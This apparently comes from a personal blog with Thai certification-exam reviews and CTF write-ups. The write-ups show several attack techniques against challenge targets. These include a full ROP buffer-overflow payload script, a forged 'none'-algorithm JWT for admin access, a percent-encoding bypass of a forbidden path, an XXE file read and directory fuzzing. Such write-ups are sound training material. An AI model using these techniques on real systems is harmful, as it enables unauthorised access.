ShoIsMyName

รีวิว API-RTA | Certified API Red Team Analyst Certificate

Wed, 24 Jun 2026 00:00:00 GMT

รีวิว API-RTA | Certified API Red Team Analyst Certificate

안녕하세요 I’m Sho. วันนี้มารีวิวเซอร์ค่ายบัง API-RTA ของค่าย CWL กันน!

https://labs.cyberwarfare.live/credential/achievement/6a3bcfb951cc04facb4de9ea

การกดเริ่มสอบจะเหมือนของ Web-RTA เลย ใครที่ไม่รู้สามารถไปอ่านได้ที่ blog ของผมเลยเด้อ

https://medium.com/@shoismyname/รีวิว-web-rta-certified-web-red-team-analyst-certificate-cwl-a7d6564a73a0

คือกด Labs Access = กด Exam มีเวลาให้เราทำ 30 วัน

รีวิวเรื่องเนื้อหาคอร์สเรียนที่แถมมากันก่อน ผมบอกไว้ก่อนว่าสำคัญมากๆ เพราะเนื้อหามัน related กับข้อสอบของเรา (ก็ไม่ทั้งหมด แต่คู่ควรแก่การเรียน)

ต่อไปเป็นเรื่องสยองที่ผมเจอในข้อสอบ มาจากความสะเพร่าของผมเอง ผมกดเริ่มวันที่ 22/06/2026 และได้เกือบครบทุกอัน เหลือแค่หาคำตอบอันสุดท้าย

แต่ประเด็นคือผมลองส่ง request ที่ตำแหน่ง A ปรากฏว่า NO RESPONSE ผมเลยคิดว่า “ตำแหน่ง A ไม่น่าใช่คำตอบของเรา” และซึ่งผมก็หาต่อสักพักนึง ประมาณ 2 ชม.แล้วนอน วันต่อมาไปกินข้าวกับเพื่อน กลับดึกมากๆ ทำได้อีก 2 ชม. แต่ก็ไม่เจอสิ่งที่ต้องการ

วันต่อมา 24/06/2026 ตัดสินใจลองกลับไปลองดูที่ตำแหน่ง A อีกรอบปรากฏว่าได้ผล 💔💔💔

เลยเป็นอีกบทเรียนที่คิดว่าคุ้มค่ามากๆ และอยากฝากเรื่องสยองให้คนที่อยากสอบได้รู้ 5555555

ถามว่าข้อสอบนี้ยากมั้ย? ผมบอกเลยว่าง่าย (ไม่นับเรื่องที่ติดลมตำแหน่ง A นะ555555)

สุดท้ายนี้ใครที่อยากลองสอบหรืออยากสอบถามอะไรก็ทักมาได้ ผมไม่กัด555

รีวิว Web-RTA | Certified Web Red Team Analyst Certificate (CWL)

Mon, 22 Jun 2026 00:00:00 GMT

รีวิว Web-RTA | Certified Web Red Team Analyst Certificate (CWL)

Hello, I’m “SHO” วันนี้ผมจะมารีวิวการสอบ cert Web-RTA กันนะครับ

https://labs.cyberwarfare.live/credential/achievement/6a38e848c062f334ce456dfa

โดยการสอบจะให้เรากดเริ่ม Lab Access 30 days ซึ่งจะมี 2 ip (public ip-address) ซึ่งสามารถเข้าได้เลยโดยไม่ต้องใช้ VPN

การกดเริ่มสอบจะแตกต่างจาก crta โดย crta เวลากดเริ่ม เราจะต้องกด EXAM & start แต่ของ Web-RTA จะต้องกด Start Labs ซึ่งผมก็งงเหมือนกัน

ตอนแรกนึกว่าต้องให้ทำ Labs ก่อนถึงกดสอบ Exam ได้ ซึ่งก็ทำเสร็จในวันที่กดเริ่มวันนั้นๆเลย555555555555 ทำ Labs เสร็จคือได้ cert เลย

โดยจะมีทั้งหมด 16 ข้อ ซึ่งเราต้องหาคำตอบตามคำถามที่เขาถาม (ไม่ได้อยู่รูปแบบ flag format เสมอไป)

สำหรับใครที่อยากลองสอบแต่ยังไม่กล้า หรือมีอะไรที่สงสัยสามารถทักผมมาได้เลย ยินดีมากๆ

รีวิว CRTA | Certified Red Team Analyst

Sat, 06 Jun 2026 00:00:00 GMT

รีวิว CRTA | Certified Red Team Analyst

Hello, I’am Sho. วันนี้ผมจะมารีวิว Certificate | CRTA ที่ผมสอบพร้อมกับความรู้ AD ที่เรียนมา 1 สัปดาห์ 5555555555

[Certified Red Team Analyst (CRTA) - Watcharanon Khotthan

Got a Certificate from CyberWarFare Labs

https://labs.cyberwarfare.live/credential/achievement/6a24960d0a96d50ef30cae0a

อธิบายก่อนว่าเซอร์ตัวนี้จะเกี่ยวกับ active directory โดยที่ผมสอบจะเป็น version 2 คือจะให้เราตอบคำถามของมันเป็น choiceๆ ไป คล้ายกับ HTB แบบ Guide mode

น่าเสียดายที่ผมไม่ทันราคา $9 แต่ก็ไม่เป็นไร ผมได้มาอีกทีตอนมันลด $19

ข้อสอบจะมีเวลาให้เราทำ 6 ชม. ผมไม่แน่ใจว่าบอกจำนวน choice ได้มั้ยนะ

ตอนเราซื้อ Exam นี้มา เขาจะแถม course เรามาด้วย และ Lab ที่เราสามารถ Access ได้ 30 วัน (เราสามารถกดเริ่มวันไหนก็ได้ในระยะเวลาสอบ ต้องสอบภายใน1ปีหลังจากสมัคร exam)

การเตรียมตัว:

ต้องท้าวความก่อนว่า ผมเป็นคนที่เล่นแต่เครื่อง linux ไม่ค่อยได้เล่น window เลย เลยเป็นสาเหตุที่ผมยังใหม่กับ Active directory

(เรียน AD ได้สัปดาห์เดียวแล้วลุยเลย555555)

ผมได้ทำความคุ้นชินกับเครื่อง window ใน htb box ชื่อ “fluffy” แล้วก็มาเล่น Lab ของ crta (กดเริ่ม lab ในวันสอบ แล้วก็สอบในวันนั้น555555)

ลืมบอกเลยว่ามันมี lab แค่อันเดียวนะ ถ้าทำไม่ได้เขาก็มี writeup ให้เราอ่าน

การสอบ:

ตอนกดเริ่มสอบ เขาจะนับถอยหลัง 3 ชม. ให้เราเตรียมตัว ซึ่งผมกดไปตอน 4 ทุ่มกว่าๆ ข้อสอบเริ่มตี 1

สิ่งสำคัญในการสอบที่ผมคิดว่ามีประโยชน์สุดก็คือการ Enumerate พวก credential จะซ่อนตามจุดต่างๆ (สปอยเยอะไม่ได้ กลัวๆ)

ส่วนตอนเข้าเครื่อง AD อันนี้จะง่ายมากๆ ง่ายขนาดที่คิดว่า “นี่ใช่ active directory ที่เราเรียนมาใช่มั้ย”

ถ้าจะให้บอกว่าอันไหนยากก็คือ การตอบคำถาม55555 รู้สึกว่าบางอันแอบกำกวมนะ

เช่นๆ “path ไหนใน web มี credential” ถ้าให้ตอบมันก็เยอะนะ5555555 แต่พอตอบเข้าให้จริงก็ผิด แต่ไปๆมาๆก็ถูก

รองลงมาก็เรื่องการ enum

ถามว่ายากมั้ย? ไม่ค่อยนะ HTB ยังยากกว่า55555

ต้องขอบคุณเพื่อนผมที่เข้ามาช่วยเหลือ มีหลายจุดที่ผมเจอแล้วเผลอมองข้าม แล้วก็ได้เพื่อนคนนี้มาช่วย Pond Thanaphon (NullByte)

Thank you for reading kub.

รีวิว Certificate kWAPTA | KnightSquad Academy

Sun, 31 May 2026 00:00:00 GMT

รีวิว Certificate kWAPTA | KnightSquad Academy

สวัสดีครับผมโช วันนี้ผมจะมารีวิวเซอร์ kWAPTA ของค่าย KnightSquad Academy กันนะครับ (Certified Web App Penetration Testing Apprentice)

https://credential.knightsquad.academy/KSA-UF32Z8SH3005

ตอนสอบเขาจะให้เวลาเรา 2 ชม. มีทั้งหมด 9 ข้อ และ 2 attempts

โดยโจทย์จะให้เว็บเรามา แล้วเราต้อง pentest เว็บทั่วๆไป ใช้ความรู้ web pentest ปกติเลย อันนี้ง่ายๆ

ใช้แค่ Burp-suite ก็เพียงพอแล้ว

สำหรับคนที่อยากลองสอบ แต่ไม่มั่นใจในเนื้อหา แนะนำเรียนที่ PortSwigger ก็เพียงพอแล้วครับ (ใช้แค่บางเนื้อหา5555)

โดยรวมอันนี้ง่ายๆครับ เหมาะกับมือใหม่สุดๆ

สิ่งที่สำคัญในการทำโจทย์คือ “ดูให้ดีๆ เช็คให้ละเอียด” เพราะผมก็มองพลาดตรง url นึงเหมือนกัน

สำหรับใครที่อยากสอบถามอะไรเพิ่มเติม สามารถทักมาได้ ผมยินดีมากๆ

รีวิว Certificate kAPIPTA | KnightSquad Academy

Sat, 23 May 2026 00:00:00 GMT

รีวิว Certificate kAPIPTA | KnightSquad Academy

สวัสดีครับผมโช วันนี้ผมจะมารีวิวเซอร์ kAPIPTA ของค่าย KnightSquad Academy กันนะครับ (Certified API Penetration Testing Apprentice)

https://credential.knightsquad.academy/KSA-Q3J7WE3L2205

เป็นการสอบเซอร์ใบแรกของผมเลย ดีใจมากๆ

การสอบจะเป็นรูปแบบเอา flag มาตอบ มีทั้งหมด 5 ข้อ เวลา 2.5 ชั่วโมง (150 นาที)

โดยโจทย์ก็จะให้ ip นึงเรามา จะเป็นเว็บเว็บนึง ให้เราทำการหา flag ตาม objective ของแต่ละโจทย์ ซึ่งมันก็จะซ่อนตามจุดต่างๆ หรือบางอันก็จะซ่อนตรงจุดที่เราไม่คาดคิดเหมือนกัน5555 ซึ่งผมคือผู้ประสบภัยอันดับที่ 1

โดยเกณฑ์การผ่านจะอยู่ที่ 75% ถ้าผ่านด้วยคะแนน 85% up จะถือว่าผ่านแบบ miral และการสอบมี 2 attempt คือพลาดได้ 1 รอบ ซึ่งผมก็พลาด5555

สอบรอบ 1 ได้ 2/5
สอบรอบ 2 ได้ 3/5 (โกรธ flag อยู่ข้างหน้าแต่มองไม่เห็น5555)

รอบ 2 ผมเกือบจะผ่าน แต่ไม่ผ่านเพราะมองไม่เห็น flag (มันอยู่ต่อหน้าผมเลย55555) ทำให้ผมได้มาสมัครอีกรอบ โดยครั้งนี้ได้คำแนะนำต่างๆจากพี่ทีม CyberTeam และพี่แบล็ค Sabastiaz ผู้ให้คำแนะนำและช่วยเหลือ

และสอบรอบที่ 3 ผมก็ผ่านพร้อมคะแนน 4/5 🎉

บทเรียนที่ได้จากเซอร์ตัวนี้คือ Enumeration คือสิ่งสำคัญ บาง flag จะซ่อนตามจุดที่เราไม่คาดคิด อย่าคิดมากเพราะ flag อาจเจอในจุดที่ง่ายๆหรือที่ที่เราไม่เคยคิดว่ามันจะอยู่ตรงๆนั้น อ่าน source-code ให้ดีๆ

สุดท้ายนี้ผมขอขอบคุณพี่ทีม (CyberTeam) ที่ให้คำแนะนำกับผม และขอบคุณพี่แบล็ค (Sabastiaz) ที่ให้ความช่วยเหลือเรื่องต่างๆครับ

และใครที่จะสอบหรืออยากสอบถามอะไรก็ทักมาได้นะครับ ยินดีมากๆ

Hack for a Change CTF | writeup

Sat, 23 May 2026 00:00:00 GMT

Hack for a Change CTF | writeup

Hello I’m Sho. I found this ctf on CTFtime. Me & teammate register this ctf before this event start 8 hours. LOL

This is my first writeup written in English, so my English is not very good yet. Sorry about that, and I hope you still enjoy reading it.

so let’s start it!

📌Microfinance IDOR

this one is very easy. the answer is 3 ( I just did a little manual and got proof code LOL)

📌Slum Survey Photo

I though I’d need advanced tools to find the flag, but I didn’t. just “strings”

📌WelfareNet Admin

This challenge is about sql injection. There is no blacklist filtering, so it is just a simple sql injection

use only comments to ensure that query contains only one condition

📌Walfare Payments PCAP

no need necessary to use advance tool, and it uses the same method as “Slum Survey Photo”

just “strings” it LOL

📌Poverty Action Cipher

this quite pretty hard for me. cause we need to do some research a bit word in 2030agenda

after load puzzle it will show the cipher that contain a 3 layer of encryption

from now on, I will use the word “state” insted of “layer”

State 1: I use Caesar cipher for decrypt

“ ENDING POVERTY IN ALL ITS FORMS EVERYWHERE REMAINS THE GREATEST GLOBAL CHALLENGE FACING THE WORLD TODAY AND AN INDISPENSABLE REQUIREMENT FOR SUSTAINABLE DEVELOPMENT.”

🤔

State 2: I use Vigenere cipher with key “dignity”

State 3: this is a hard part for me

In the instruction said “encoded as hex. Repeating-byte XOR with an 8-byte key. The plaintext is a declaration about the SDG 1 mandate.”

the question is what is the key?

Guess plaintext

go to this website 2030agenda

the hint of state 3 say: “Stage 3 verb appears in the cleartext you produced. Hash it, take the first eight bytes, XOR.”

so I guess “eradicate”

get first 8 letter “eradicat” then convert to hex 45 52 41 44 49 43 41 54

get first 8 bytes of ciphertext “1a295f35bcafb…” 1a 29 5f 35 bc af b4 fd

note:

plaintext xor key = cipher

cipher xor plaintext = key

so the key is 5f 7b 1e 71 f5 ec f5 a9

now go back and follow the instructions

📌Cash Aid Routing

{
  "ok": true,
  "villages": [    {
      "id": 0,
      "is_depot": true,
      "x": 90.79,
      "y": 17.02,
      "demand_usd": 0
    },
    {
      "id": 1,
      "is_depot": false,
      "x": 81.19,
      "y": 47.28,
      "demand_usd": 114
    },
    {
      "id": 2,
      "is_depot": false,
      "x": 47.21,
      "y": 10.23,
      "demand_usd": 209
    },
    {
      "id": 3,
      "is_depot": false,
      "x": 92.02,
      "y": 23.29,
      "demand_usd": 398
    },
    {
      "id": 4,
      "is_depot": false,
      "x": 60.14,
      "y": 89.34,
      "demand_usd": 81
    },
    {
      "id": 5,
      "is_depot": false,
      "x": 30.54,
      "y": 55.09,
      "demand_usd": 277
    },
    {
      "id": 6,
      "is_depot": false,
      "x": 82.55,
      "y": 6.11,
      "demand_usd": 138
    },
    {
      "id": 7,
      "is_depot": false,
      "x": 85.03,
      "y": 67.2,
      "demand_usd": 71
    },
    {
      "id": 8,
      "is_depot": false,
      "x": 89.2,
      "y": 40.66,
      "demand_usd": 113
    },
    {
      "id": 9,
      "is_depot": false,
      "x": 71.91,
      "y": 72.29,
      "demand_usd": 318
    },
    {
      "id": 10,
      "is_depot": false,
      "x": 85.36,
      "y": 20.85,
      "demand_usd": 83
    },
    {
      "id": 11,
      "is_depot": false,
      "x": 23.14,
      "y": 45.97,
      "demand_usd": 191
    },
    {
      "id": 12,
      "is_depot": false,
      "x": 46.91,
      "y": 13.36,
      "demand_usd": 59
    },
    {
      "id": 13,
      "is_depot": false,
      "x": 42.61,
      "y": 23.76,
      "demand_usd": 147
    },
    {
      "id": 14,
      "is_depot": false,
      "x": 27.02,
      "y": 72.79,
      "demand_usd": 169
    },
    {
      "id": 15,
      "is_depot": false,
      "x": 10.75,
      "y": 42.54,
      "demand_usd": 271
    },
    {
      "id": 16,
      "is_depot": false,
      "x": 48.28,
      "y": 61.14,
      "demand_usd": 134
    },
    {
      "id": 17,
      "is_depot": false,
      "x": 64.04,
      "y": 43.33,
      "demand_usd": 382
    },
    {
      "id": 18,
      "is_depot": false,
      "x": 30.99,
      "y": 30.52,
      "demand_usd": 67
    },
    {
      "id": 19,
      "is_depot": false,
      "x": 39.44,
      "y": 29.66,
      "demand_usd": 321
    },
    {
      "id": 20,
      "is_depot": false,
      "x": 24.75,
      "y": 64.1,
      "demand_usd": 361
    },
    {
      "id": 21,
      "is_depot": false,
      "x": 42.33,
      "y": 51.71,
      "demand_usd": 165
    },
    {
      "id": 22,
      "is_depot": false,
      "x": 8.86,
      "y": 81.15,
      "demand_usd": 196
    },
    {
      "id": 23,
      "is_depot": false,
      "x": 50.41,
      "y": 87.36,
      "demand_usd": 287
    },
    {
      "id": 24,
      "is_depot": false,
      "x": 55.23,
      "y": 50.91,
      "demand_usd": 321
    },
    {
      "id": 25,
      "is_depot": false,
      "x": 93.59,
      "y": 20.17,
      "demand_usd": 361
    }
  ],
  "n": 25,
  "max_total_distance": 538.16
}

the easiest manual way is plotting and find way that nearest or shortest path, then draw a line down it

25,3,10,6,8,1,17,24,16,21,5,20,14,22,11,15,18,19,13,12,2,9,7,4,23

and the easiest (automatic) way is using AI plotting this & answer LOL

📌Poverty Registry

objective is create a jwt cookie with the admin role

This response is from “GET Info” button

“GET JWKS” this give us jwt cookie

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ijk3ZWFlNGNiODEzODgyNzcifQ.eyJzdWIiOiJhbm9ueW1vdXMiLCJyb2xlIjoidXNlciIsImlhdCI6MTc3OTIwMjg0NSwiZXhwIjoxNzc5MjA2NDQ1fQ.JaKSpufmzVecFB4CT2BZIKp6qbtPVeObYFUx6Y1NuvA

“GET pubket (PEM)”

I’m using jwt.io for decode jwt cookie

the safety way to create jwt with a valid signature using the HS256 algorithm is use correct secret key, However, we do not know the secret key.

second option is use the RS256 algorithm. This requires a private key for signing secret key. But we only have access to the public key

last option is not use any algorithm at all. It sounds quite funny, but we still need to try it haha

AND IT WORK LOL (I dont know how)

📌Stipend Validator

first let’s take a look at the logic of this code

Input:

Check the length, which must be equal to _0xff.length
XOR each charCode with the key
If the result is not equal to _0xff[i], the validation fails

this codesimply performs a normal XOR

as explained in “Poverty Action Cipher” :

plaintext xor key = cipher

cipher xor plaintext = key

if we have any two out of these three things, we can recover the third one.

var _0xff=[0x98,0x9f,0x87,0x2d,0x0a,0xae,0x3c,0xb3,0xc8,0x99,0x84,0x2e,0x09,0xae,0x6d,0xb3,0xc3,0x91,0x86,0x2b,0x5b,0xaa,0x6f,0xee];

var _0x77=[0xfa,0xa9,0xe2,0x18,0x39,0x9a,0x59,0x8a];

let’s decode it

📌Ration Kiosk

Now we in reverse engineer section! this is my best part ever ever ever ver ver ver ver vevevef veevev

Let’s start hacking it!

This binary was compiled without PIE, so we can easily determine the actual addresses of its functions.

I’m guessing it might related to a buffer overflow vuln

let’s check the function that might give us the flag

nm Ration_Kiosk | grep -E "give|flag|admin|handle|main"

take a look at handle_request function

To make it easier to read, I’ll put these assembly code in Assembly to C Converter

void handle_request() {
    char buffer[72];
    long nbytes;
    write(1, (void*)0x47e050, 7);
    nbytes = read(0, buffer, 0x400); // 0x400 = 1024

The buffer size is only 72 bytes, but the “read” function reads up to 1024 bytes into it.

It’s clearly buffer overflow

important

However, if we create a payload, we need to reference the buffer bytes from the assembly.

give_flag function is our goal (0x4017b9)

00000000004017b9 <give_flag>:
  4017b9:       55                      push   %rbp
  4017ba:       48 89 e5                mov    %rsp,%rbp
  4017bd:       48 83 ec 70             sub    $0x70,%rsp
  4017c1:       48 89 7d 98             mov    %rdi,-0x68(%rbp)
  4017c5:       48 89 75 90             mov    %rsi,-0x70(%rbp)
...
  401831:       0f b6 44 05 e0          movzbl -0x20(%rbp,%rax,1),%eax
  401836:       31 c2                   xor    %eax,%edx

give_flag() receives a value (8 bytes int) as the key directly, not an address

0x4017c1 & 0x 4017c5 is store values from rdi & rsi into the stack

(In x86–64 Linux, the ROP chain passes arguments to a function using rdi as the first argument & rsi as the second argument)

Brief summary :

This means that the give_flag function cannot directly create a flag; it must accept an arguments, which is a keys, to generate the flag.

Next, we need find the keys used as the arguments for the give_flag function

I took the results from the nm command and used chatgpt to filter global variables that were created, not those of the program by default.

so i think the keys is subsidy_alpha & subsidy_beta because we need 2 arguments for the function, and these 2 variables names are related

00000000004aa0e0 D subsidy_alpha
00000000004aa200 D subsidy_beta

as you can see, we can do a ROP gadgets in admin_audit function

pop %rdi; ret

pop %rsi; ret

calculate offset (from start to return address) handle_request function

0x50 + 8 = 0x58 = 88 bytes

now we ready to create the payload

python3 -c "
import struct
# addresses
pop_rdi   = 0x4017b5
pop_rsi   = 0x4017b7
give_flag = 0x4017b9
# key values
alpha_val = 0xdad72c2af45285e0
beta_val  = 0x27de289ed9f65f24
# offset to return address
offset = 0x50 + 8  # = 88
def p64(val):
    return struct.pack('<Q', val)  # little-endian 8 bytes
payload  = b'A' * offset   # padding
payload += p64(pop_rdi)    # gadget: pop rdi; ret
payload += p64(alpha_val)  # ->rdi = subsidy_alpha
payload += p64(pop_rsi)    # gadget: pop rsi; ret
payload += p64(beta_val)   # ->rsi = subsidy_beta
payload += p64(give_flag)  # ->give_flag(rdi, rsi)
print(f'Total payload: {len(payload)} bytes')
with open('payload.bin', 'wb') as f:
    f.write(payload)
print('Saved: payload.bin')
print('Hex:', payload.hex())
"

Once we have finished creating the payload, now we are ready to sent the payload to this executable

cat payload.bin | ./Ration_Kiosk

📌BasicIncome Crackme

First we need to find the entry point & main function

we can that the address of main function is at 0x401680

#include <stdio.h>
#include <string.h>
#include <stdint.h>
/**
 * External global/static data identified from memory addresses.
 * Based on the assembly offsets (e.g., 0x47e008, 0x47e0d0).
 */
// 0x47e008: "Please enter the license key: " (length 0x23)
const char* STRING_47e008 = "Please enter the license key: ";
// 0x47e061: "Key: " (length 0xe)
const char* STRING_47e061 = "Key: ";
// 0x47e030: "Invalid key format. Please try again.\n" (length 0x30)
const char* STRING_47e030 = "Invalid key format. Please try again.\n";
// 0x47e070: "Wrong key!\n" (length 0xc)
const char* STRING_47e070 = "Wrong key!\n";
// 0x47e07d: "Flag decrypted: " (length 0x13)
const char* STRING_47e07d = "Flag decrypted: ";
// 0x47e0e0: XOR mask for validation (8 bytes used with and 0x7)
const uint8_t DATA_47e0e0[] = { /* Content depends on binary, placeholder for logic */ };
// 0x47e0d0: Expected comparison values after XOR (16 bytes)
const uint8_t DATA_47e0d0[] = { /* Content depends on binary */ };
// 0x47e0a0: Ciphertext for flag decryption (40 bytes / 0x28)
const uint8_t DATA_47e0a0[] = { /* Content depends on binary */ };
/**
 * Standard Library / External Function Mappings:
 * 0x40acf0: likely fwrite or similar stream output
 * 0x40a960: likely fflush
 * 0x40aa50: likely fgets
 * 0x4010c8: likely strlen
 * 0x40cd90: likely fputc or putchar
 * 0x4aa6c8: likely stdout
 * 0x4aa6d0: likely stderr or a specific log stream
 * 0x4aa6d8: likely stdin
 */
// Mock pointers for FILE streams
extern FILE *stream_4aa6c8; // stdout
extern FILE *stream_4aa6d0; // stderr/log
extern FILE *stream_4aa6d8; // stdin
int validate_and_decrypt() {
    // 401680: push rbx
    // 401694: add rsp, -0x80 (Local stack allocation)
    uint8_t stack_buffer[128]; 
    uint8_t *rbx;
    size_t rax;
    
    // 401681: pxor xmm0, xmm0
    // 40169f - 4016bd: zero out part of the stack
    memset(&stack_buffer[0x30], 0, 80); 
    // 401685 - 4016bd: fwrite(STRING_47e008, 1, 0x23, stdout)
    fwrite(STRING_47e008, 1, 0x23, stream_4aa6c8);
    // 4016c2 - 4016d8: fwrite(STRING_47e061, 1, 0xe, stdout)
    fwrite(STRING_47e061, 1, 0xe, stream_4aa6c8);
    // 4016dd - 4016e4: fflush(stdout)
    fflush(stream_4aa6c8);
    // 4016e9 - 4016f8: fgets(rbx, 0x50, stdin)
    rbx = &stack_buffer[0x30];
    if (fgets((char*)rbx, 0x50, stream_4aa6d8) == NULL) {
        // 401700: je 0x40184c
        goto label_40184c;
    }
    // 401709: call strlen
    rax = strlen((char*)rbx);
    // 40170e - 401711: test rax, rax; jne 40172d
    if (rax == 0) {
        // 401713: jmp 0x401831
        goto label_401831;
    }
    // Loop to trim trailing Newlines/Carriage Returns
    while (rax != 0) {
        // 40172d: mov rcx, rax
        size_t rcx = rax;
        // 401730: sub rax, 1
        rax--;
        // 401734: movzx edx, BYTE PTR [rbx+rax*1]
        uint8_t dl = rbx[rax];
        // 401738 - 40173b: cmp dl, 0xa; je 0x401720
        // 40173d - 401740: cmp dl, 0xd; je 0x401720
        if (dl == 0x0a || dl == 0x0d) {
            // 401720: mov BYTE PTR [rbx+rax*1], 0x0
            rbx[rax] = 0;
            // 401724: test rax, rax; je 401831
            if (rax == 0) goto label_401831;
            continue;
        }
        
        // 401742: cmp rcx, 0x10
        if (rcx != 0x10) {
            // 401746: jne 0x401831
            goto label_401831;
        }
        break;
    }
    // 40174c - 40177a: (Various NOPs for alignment)
    // Key Validation Loop (16 iterations)
    // 401780:
    for (rax = 0; rax < 0x10; rax++) {
        // 401783: and edx, 0x7
        uint32_t rdx_idx = (uint32_t)rax & 0x7;
        // 401786: movzx edx, BYTE PTR [rdx+0x47e0e0]
        uint8_t dl = DATA_47e0e0[rdx_idx];
        // 40178d: xor dl, BYTE PTR [rbx+rax*1]
        dl ^= rbx[rax];
        // 401790: cmp BYTE PTR [rax+0x47e0d0], dl
        if (DATA_47e0d0[rax] != dl) {
            // 401796: jne 0x401853
            goto label_401853;
        }
    }
    // 4017a6 - 4017b3: Clear 0x29 bytes at rsp (using rep stos)
    // Note: rbx is reassigned to rsp here in asm, but used as output buffer
    uint8_t output_buffer[0x29];
    memset(output_buffer, 0, 0x29);
    // Flag Decryption Loop (40 iterations)
    // 4017c0:
    for (rax = 0; rax < 0x28; rax++) {
        // 4017c3: and edx, 0xf
        uint32_t rdx_idx = (uint32_t)rax & 0xf;
        // 4017c6: movzx edx, BYTE PTR [rsp+rdx*1+0x30] (Uses indices from the input key)
        uint8_t dl = rbx[rdx_idx];
        // 4017cb: xor dl, BYTE PTR [rax+0x47e0a0]
        dl ^= DATA_47e0a0[rax];
        // 4017d1: mov BYTE PTR [output_buffer+rax*1], dl
        output_buffer[rax] = dl;
    }
    // 4017de - 4017f4: fwrite(STRING_47e07d, 1, 0x13, stream_4aa6d0)
    fwrite(STRING_47e07d, 1, 0x13, stream_4aa6d0);
    // 4017f9 - 4017fc: call strlen(output_buffer)
    rax = strlen((char*)output_buffer);
    // 401801 - 401813: fwrite(output_buffer, 1, rax, stream_4aa6d0)
    fwrite(output_buffer, 1, rax, stream_4aa6d0);
    // 401818 - 401824: fputc('\n', stream_4aa6d0)
    fputc(0x0a, stream_4aa6d0);
    // 401829: xor eax, eax
    // 40182b - 401830: Epilogue
    return 0;
label_401831:
    // 401831 - 401847: fwrite(STRING_47e030, 1, 0x30, stdout)
    fwrite(STRING_47e030, 1, 0x30, stream_4aa6c8);
label_40184c:
    // 40184c: mov eax, 1
    return 1;
label_401853:
    // 401853 - 401869: fwrite(STRING_47e070, 1, 0xc, stdout)
    fwrite(STRING_47e070, 1, 0xc, stream_4aa6c8);
    // 40186e: jmp 0x40184c
    goto label_40184c;
}

flow of this executable

0x401680: print banner
0x4016c2: print "household_id> "
0x4016e4: flush stdout
0x4016f8: fgets(buf, 0x50, stdin)   read input in rbx (buf on stack)
0x401700: je 0x40184c               if fgets give NULL -> done
0x401709: strlen(buf)
0x401711: jne 0x40172d              if len != 0 -> continue
0x401742: cmp rcx, 0x10             check length == 16?
0x401746: jne 0x401831              if not -> "Ineligible"

We’ve found the Validation Loop — the heart of the problem. (in the code above)

From this code, we can create the following equation :

EXPECTED[i] == input[i] XOR KEY[i % 8]

therefore :

input[i] = EXPECTED[i] XOR KEY[i % 8]

now we extract the EXPECTED and KEY values from the binary

let take a look at LOAD Segments of ELF

Based on the LOAD, it could be inferred that 0x47e0e0 & 0x47e0d0 might be our EXPECTED and KEY.

KEY      @ VA 0x47e0e0  →  file offset 0x7e0e0   (8 bytes)
EXPECTED @ VA 0x47e0d0  →  file offset 0x7e0d0   (16 bytes)

calculate the Household ID

KEY      = bytes.fromhex("16b056fb28f0ac27")
EXPECTED = bytes.fromhex("2ed660ca1e959813278360cd1dc99c14")
household_id = bytes([EXPECTED[i] ^ KEY[i % 8] for i in range(16)])
print(household_id.decode())  # → 8f616e4413665903

after finished validation, we found Voucher Generation Loop

; Loop i = 0..39 (40 bytes)
0x4017c0:  mov  rdx, rax
0x4017c3:  and  edx, 0xf                       ; rdx = i % 16
0x4017c6:  movzx edx, [rsp + rdx + 0x30]       ; = input[i % 16]
0x4017cb:  xor  dl, [rax + 0x47e0a0]           ; XOR with VOUCHER_TABLE[i]
0x4017d1:  mov  [rbx + rax], dl                ; store result

VOUCHER_TABLE = data[0x7e0a0 : 0x7e0a0+40]
voucher = bytes([VOUCHER_TABLE[i] ^ household_id[i % 16] for i in range(40)])
print(voucher.decode())

now everything is ready, let sent the payload

python3 -c "d=open('BasicIncome_Crackme','rb').read();k=d[0x7e0e0:0x7e0e8];e=d[0x7e0d0:0x7e0e0];print(bytes([e[i]^k[i%8]for i in range(16)]).decode())" | ./BasicIncome_Crackme

📌Slum Pinpoint

now we’re in the osint section! YAY! YAY! (I hate it!)

I use google, google ai & google map in this question ദ്ദി(ᵔᗜᵔ)

Wanlai 💦| DropCTF

Mon, 27 Apr 2026 00:00:00 GMT

Wanlai 💦| DropCTF

สวัสดีครับผม Sho จากทีม scan นะครับ วันนี้จะแสดงวิธีทำโจทย์ต่างๆทั้งหมด 16 ข้อ ขอขอบคุณ dropctf ที่จัดกิจกรรมสนุกๆนะครับ โจทย์แต่ละอันสร้างสรรค์มากๆ ครั้งก่อนก็ roblox ครั้งนี้มี minecraft 555555

เรามาเริ่มข้อแรกกันเลยดีกว่า

WEB | Category

Songkran Festival Proxy

จะเจอ Endpoint จากนั้นก็ Fuzz หา directory

gobuster dir -u http://10.88.128.29 -w ~/SecLists-master/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-small.txt

จะเจอว่ามี /admin 403 โผล่มา พอ curl ก็เจอว่า Forbidden

คิดไม่ออกว่าต้องไปไหนเดาไว้แล้วว่า /flag, /../flag, /var/www/html/flag สุดท้ายก็ไม่ได ้เลยกด Hint

http://10.88.128.39/admin/flag http://10.88.128.39/%61%64%6d%69%6e/%66%6c%61%67

admin = %61%64%6d%69%6e flag = %66%6C%61%67

ร้อนเว้ยยย

WANLAI{833402d501b72c7b4bcdf82024287c83}

มีอีกข้อที่ทำได้ แต่ทำได้หลังจบงาน 😔

Som Tam Recipe

เราจะได้ template.somtam มา แล้วเราต้อง upload เข้าเว็บจากนั้นก็ส่ง

<recipe>
  <chef>baka</chef>
  <dish>somtam</dish>
  <spicy_level>3</spicy_level>
  <ingredients>papaya peanut tomato chili</ingredients>
  <secret>baka</secret>
</recipe>

สิ่งที่จับได้ 1. ไม่ประมวล html 2. fetch xxe ได้ หวานเจี๊ยบ

ตอนแรกพอรู้แล้วว่า flag อยู่ directory ไหน (/app/flag.txt สังเกตจาก response) แต่ฉันคราฟ payload ผิดดดดด จนกระทั่งแก้ได้ แต่ก็สายไปปปแล้วววว 5555555

REVERSE ENGINEERING | Category

Dark Night

เอาตามตรงขก.เขียน writeup ข้อนี้ เพราะกลัวไม่เข้าใจ เอาเป้นว่าจะให้ลิ้งค์ yt เฉลยของผมไว้ละกัน

https://youtu.be/yCVg-r0zrHc?si=JjuWzCQAXjCmVELo

วิธีการของเรา เราจะเลือกการ patch ดีกว่าไล่ดูการทำงานของโปรแกรม เพราะมันไวกว่า ง่ายกว่า

อันดับแรกเริ่มจากเช็ค bit

PE32 ก็คือ 32bit เพราะฉะนั้นเราจะใช้ x32dbg ในการ patch โปรแกรมของเรา

